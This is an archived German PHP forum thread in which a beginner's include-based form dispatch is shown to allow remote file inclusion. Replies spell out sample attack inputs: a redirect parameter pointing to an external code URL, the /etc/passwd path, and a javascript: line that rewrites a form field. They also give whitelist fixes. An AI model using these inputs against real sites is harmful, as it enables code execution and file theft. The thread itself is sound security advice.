PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : $_Post Variablen überleben redirect nicht?!?!



rkauskh
06-03-2005, 19:39
Hi

Ich habe ein Formular welches die Daten per POST sendet und auf sich selbst referenziert ist. Sieht so aus:

<?php

switch ($_POST["undlos"])
{
case Speichern:
{
$redirect= "save.php";
break;
}
case Update:
{
$redirect= "aendern.php";
break;
}
case Suchen:
{
$redirect= "search.php";
break;
}
}
if (!empty($redirect)) {
echo header("Location:".$redirect);
}

?>

<FORM method="POST" action="<?php $PHP_SELF?>">
....


Soweit funktioniert das Konstrukt, nur leider sind nach dem redirect alle Variablen leer. Mach ich einen Fehler oder ist es so überhaupt nicht lösbar?

MfG
rk

msi
06-03-2005, 21:52
Hi

Ich habe ein Formular welches die Daten per POST sendet und auf sich selbst referenziert ist. Sieht so aus:

<?php

switch ($_POST["undlos"])
{
case Speichern:
{
$redirect= "save.php";
break;
}
case Update:
{
$redirect= "aendern.php";
break;
}
case Suchen:
{
$redirect= "search.php";
break;
}
}
if (!empty($redirect)) {
echo header("Location:".$redirect);
}

?>

<FORM method="POST" action="<?php $PHP_SELF?>">
....


Soweit funktioniert das Konstrukt, nur leider sind nach dem redirect alle Variablen leer. Mach ich einen Fehler oder ist es so überhaupt nicht lösbar?

MfG
rk

das ist richtig, bei einem Redirect sendet der Useragent (Browser) die Post Daten natürlich nicht noch einmal.
Wie wärs, wenn du statt einem Redirect einfach die entspr. PHP Datei mit include einbindest und danach mit exit; den PRogrammcode verlässt?
Das sollte bei dir auf dasselbe herauskommen.

Markus

rkauskh
07-03-2005, 18:51
Hi

Danke für den Tip. Das der Grund das erforderliche zweimalige Senden ist dachte ich mir schon, aber ich wußte nicht weiter.
Sollte die Anweisung dann so aussehen?

if (!empty($redirect)) {
include ($redirect);
exit;
}

MfG
rk

/EDIT: Hab's gleich getestet und jaaaa es geht. Danke nochmal. :)

msi
07-03-2005, 20:59
Hi

Danke für den Tip. Das der Grund das erforderliche zweimalige Senden ist dachte ich mir schon, aber ich wußte nicht weiter.
Sollte die Anweisung dann so aussehen?

if (!empty($redirect)) {
include ($redirect);
exit;
}

MfG
rk

/EDIT: Hab's gleich getestet und jaaaa es geht. Danke nochmal. :)

falls bei dir register_globals auf on ist, hast du gerade eine große sicherheitslücke in deinem code geschrieben, der es anderen erlaubt php code auszuführen!!

:eek: ??
Ja! $redirect sollte unbedingt vor der switch anweisung auf "" gesetztz werden.


$redirect="";


Wieso?
wenn register_globas an sind, dann der Nutzer mit deinscript.php?redirect=http://meineseite.com/incme.code

seinen PHP Code einbinden, oder falls bei include andere seiten nicht erlaubt sind mit redirect=/etc/passwd deine Benutzerdatei auslesen!

Markus

rkauskh
08-03-2005, 20:32
Hi

register_globals=off steht in der php.ini
Variablen die ich über mehrere Scripte benötige übermittle ich zum größten Teil per POST und 2 unkritische Variablen sowie die SessionID per GET.
Das sollte doch so passen? Oder übersehe ich etwas?

Trotzdem danke für den Hinweis. :)

msi
09-03-2005, 09:45
Hi

register_globals=off steht in der php.ini
Variablen die ich über mehrere Scripte benötige übermittle ich zum größten Teil per POST und 2 unkritische Variablen sowie die SessionID per GET.
Das sollte doch so passen? Oder übersehe ich etwas?

Trotzdem danke für den Hinweis. :)

wie ich bereits geschrieben habe, ist das trotzdem ein kritischer fehler
unbedingt $redirect=""; vor dem switch block hinzufügen!!!
denn wenn das mal auf einem anderen server sein sollte, der das aktiviert hat und du da nicht mehr dran denkst.
außerdem solltest du aus sowas ja auch lernen!

also nochmal: Das ist ein kritischer Fehler in deiner Software!!

achja: und post ist genauso unsicher wie get! nur ein bisschen schwerer auszunutzen für leute die sich nicht mit der materie auskennen, für alle anderen ist das egal, weil man post genauso wie auch get fälschen kann!

sixfriends
10-03-2005, 13:38
weil man post genauso wie auch get fälschen kann!

In die Titelzeile deiner Seite-->
javascript:void(document.forms[x].elements[y].value="/etc/passwd");

rkauskh
10-03-2005, 19:14
Hi

@msi
Danke, hab's eingefügt. Jetzt weiß ich nicht nur das ich es einfügen muß, sondern auch warum. Das war mir wichtig (Lerneffekt).
Wie übergibt man denn sicher Variablen aus einem Formular? Mir sind nur diese beiden Varianten geläufig (typisch Amateur :D)

@sixfriends
Mit der Zeile kann ich leider gar nix anfangen. :confused:

MfG
rk

msi
10-03-2005, 20:24
Wie übergibt man denn sicher Variablen aus einem Formular?
die daten kommen vom benutzer, der kann dir senden was er will.

wie man dabei vorgeht? einen http request spoofen zb.
oder du machst das, was sixfriends geschrieben hat, das fälscht die $_POST['redirect'] variable, bei register_globals auch die $redirect

rkauskh
10-03-2005, 23:03
Hi

Ok, die Frage war falsch formuliert. Wie schütze ich mich dagegen? Register_globals=off is klar, aber wie entgehe ich dem Rest? Ich hab, da ich die Daten an eine PostgreSQL-Db übergebe, schon etliche Prüfroutinen eingebaut die zumindest soweit möglich die Plausibilität der ankommenden Daten checken, aber das würde ja auch nicht gegen einen redirect helfen.
Ich glaub ich krieg grad einen Frustschub. :(

MfG
rk

PS: Hatte ich schon erwähnt, das die Seiten nur in einem Firmen-LAN verfügbar sein werden? Und das nur falls ich das Ganze auch mal fertig kriege.

sixfriends
11-03-2005, 13:33
Hatte ich schon erwähnt, das die Seiten nur in einem Firmen-LAN verfügbar sein werden? Und das nur falls ich das Ganze auch mal fertig kriege.
Es gibt überall Leute, die versuchen, solche Fehler auszunutzen...

Was ich gemeint hatte war, wenn jemand deine Seite lädt und dann in der Adressleiste des Browsers eine solche Anweisung eingibt, dann wird der Wert von redirect überschrieben.

Ich würde dir empfehlen:
Leg ein Array an, da kommen die Namen der einzubindenden Scripts rein

$array = ('dummy', 'save.php', 'aendern.php', 'search.php');
$request = (int)$_POST['request'];
if (!empty($request) && $request > 0 && $request < sizeof($array)) {
include_once($array[$request]);
}
Dann wird z.B. save.php bei request=1 aufgerufen

rkauskh
11-03-2005, 19:39
Hi


Es gibt überall Leute, die versuchen, solche Fehler auszunutzen...

Auch wieder wahr (leider).

Danke für die Mühe, ich hab den Code gleich ersetzt.
Mir juckts grad tierisch in den Fingern meinen kompletten Code hier rein zu stellen und prüfen zu lassen. Aber ich glaub dann bleibt davon erstens nix originales übrig und zweites gibt das eine verbale Ohrfeige. :D

MfG
rk

/EDIT:
Kann es sein, das ich für diesen Code die Button-Definition mit <input type="submit" usw.> verlassen und die neuere Variante mit <button ... verwenden muß???

sixfriends
11-03-2005, 23:59
Falls du meinen Codeschnipsel meinst, definitiv: nein

...
<input type="hidden" name="redirect" value="1" />
<input type="submit" value="Abschicken" />...
sollte auf jeden Fall funktionieren...

rkauskh
12-03-2005, 12:11
Hi

Ich steh grad auf'n Schlauch. Das funktioniert doch nicht.
Kurze Erklärung. In dem Formular gibt es nicht nur einen Button abschicken und einen Button reset, sondern auch update und suchen. Der User erhält bei Aufruf der Seite eine leere Eingabemaske in die er entweder einen Suchbegriff eingeben und per Button suchen auslösen kann, einen neuen Datensatz erstellen und absenden kann oder wenn er aus der Suche einen bestehenden Datensatz aufgerufen und geändert hat per update ändern kann.
Dementsprechend sind die Button mit den values Speichern, Update, Reset und Suchen belegt, sonst stände als Buttonbeschriftung ja 1, 2, 3 oder 4 da. Nicht sehr aussagekräftig. Mit grafischen Buttons wollte ich eigentlich nicht anfangen, die Seite soll so schnell wie möglich sein und ohne Java/Javascript usw. auskommen.

Das Fomular bildet die Oberfläche einer Filemaker-Datenbank nach, deswegen kann ich nicht nur mit Abschicken arbeiten. Dann kommt wieder keiner damit klar, "weil doch alles neu und gaaaaaaaanz anders als vorher ist".

MfG
rk

sixfriends
12-03-2005, 13:22
Meine Lösung hatte vorausgesetzt, dass du ein Formular pro Vorgang hast mit jeweils einem Abschicken Button und ein verstecktes Feld, in dem die Aktion angegeben ist...
Hier das, was du vermutlich brauchst:

...
<input type="submit" name="redirect" value="Speichern" />
<input type="submit" name="redirect" value="Update" />...

$array['Speichern'] = 'save.php';
$array['Update'] = 'aendern.php';
.....
if (!empty($_POST['request']) && !empty($array[ $_POST['request'] ]) {
include_once($array[ $_POST['request'] ]);
}

`kk
12-03-2005, 13:47
...
<input type="submit" name="redirect" value="Speichern" />
<input type="submit" name="redirect" value="Update" />...

$array['Speichern'] = 'save.php';
$array['Update'] = 'aendern.php';
.....
if (!empty($_POST['request']) && !empty($array[ $_POST['request'] ]) {
include_once($array[ $_POST['request'] ]);
}
$_POST['request'] sollte wohl eher $_POST['redirect'] heißen. :)

rkauskh
12-03-2005, 16:58
Hi

Danke für die tolle Hilfe. :)
Gibt es eigentlich eine Seite im Netz mit typischen Fehlern und wie man sie vermeidet? Also so eine Art HowTo für verschiedene Sachen.

MfG
rk